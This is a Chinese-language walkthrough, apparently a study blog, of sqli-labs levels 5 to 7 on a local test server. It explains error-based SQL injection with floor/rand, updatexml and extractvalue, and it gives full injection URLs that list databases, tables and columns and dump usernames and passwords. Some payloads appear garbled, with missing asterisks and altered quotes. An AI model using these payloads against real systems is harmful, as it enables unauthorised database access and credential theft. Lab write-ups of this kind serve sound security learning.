第五关：Double Query- Single Quotes- String
1.输入?id=2看见页面如下: 输入?id=666时，发现页面发生变化
说明页面没有显示位。无法使用联合查询注入
2.接着我们尝试在URL中输入 ?id=2’ 页面出现错误语句如下但是可以发现存在注入点，这里可以闭合引号，随后通过查询列数发现这里也是3列
这道题使用的是报错注入
2.何为报错注入：
报错注入就是通过人为的引起数据库的报错，但是数据库在报错的同时会将查询的结果也呈现在报错中,我在这里介绍一下报错注入以及原理
这是网上使用最广泛的一句报错注入语句：
select count(*),(floor(rand(0)2))x from information_schema.tables group by x;
那么必须是要按这个句子来执行吗,或者必须要这些句子吗？
通过查找很多网站的资料，我总结出：
group by,rand(),floor()三个函数是必须存在的，缺一不可，并且rand(),rand(0)两个句子还是有一些区别的，其中rand()在两条数据以上随即报错,rand(0)在三条数据以上必报错
介绍三种报错注入常用的语句：
(1). 通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字
(2). 通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制，其最长输出32位
并且该语句对payload的反悔类型也做了限制，只有在payload返回的不是xml格式才会生
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制，最长32位。
payload即我们要输入的sql查询语句
**3.**构造如下语句：http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()2)) as x from information_schema.tables group by x) as a) --+
提示输出信息超过一行，说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位)，所以需要放弃group_concat()函数，而使用limit 0,1来一个个输出。
limit 0,1 表示输出第一个数据。 0表示输出的起始位置，1表示跨度为1（即输出几个数据，1表示输出一个，2就表示输出两个）
更改语句为:http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(),concat((select concat(schema_name,’;’) from information_schema.schemata limit 0,1),floor(rand()2)) as x from information_schema.tables group by x) as a)–+**4.**继续爆其他数据库名，改变limit n,1即可：http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(),concat((select concat(schema_name,’;’) from information_schema.schemata limit 1,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+
会发现到了n=6的时候就发生了变化:当显示该情况时，说明已经爆完。
5. 爆security数据库中的表：
构造：http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+ 还是更换limit n,1一个一个爆出。
**6.**爆users表的列名：http://127.0.0.1/Less-5/?id=2’ and (select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=‘users’ limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
**9.**爆users表中的内容:用户名和密码为，同样，limit n,1 慢慢来吧：http://127.0.0.1/Less-5/?id=2’ and(select 1 from (select count(*),concat((select concat(username,’: ‘,password,’;’) from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)–+
!
除此之外还有好几个，我就不一一爆出了，一共14个用户名和密码，到了n=14就会发现爆完了。好啦，第五题就此完事????。
第六关:Double Query- Double Quotes- String
第六关和第五关一样也没有数据回显，所以我们这里仍然使用报错注入
实现判断注入点，输入单引号没有报错，说明此处不是单引号型注入，尝试使用双引号，报错，所以此处使用双引号闭合来注入
?id=1 --+其余过程不再赘述，请参考第五关.
第七关：Less-7 Dump into Outfile
第七关和上一关有所不同，这里说明了要使用outfile函数，outfile函数就是将数据库的查询内容导出到一个外部文件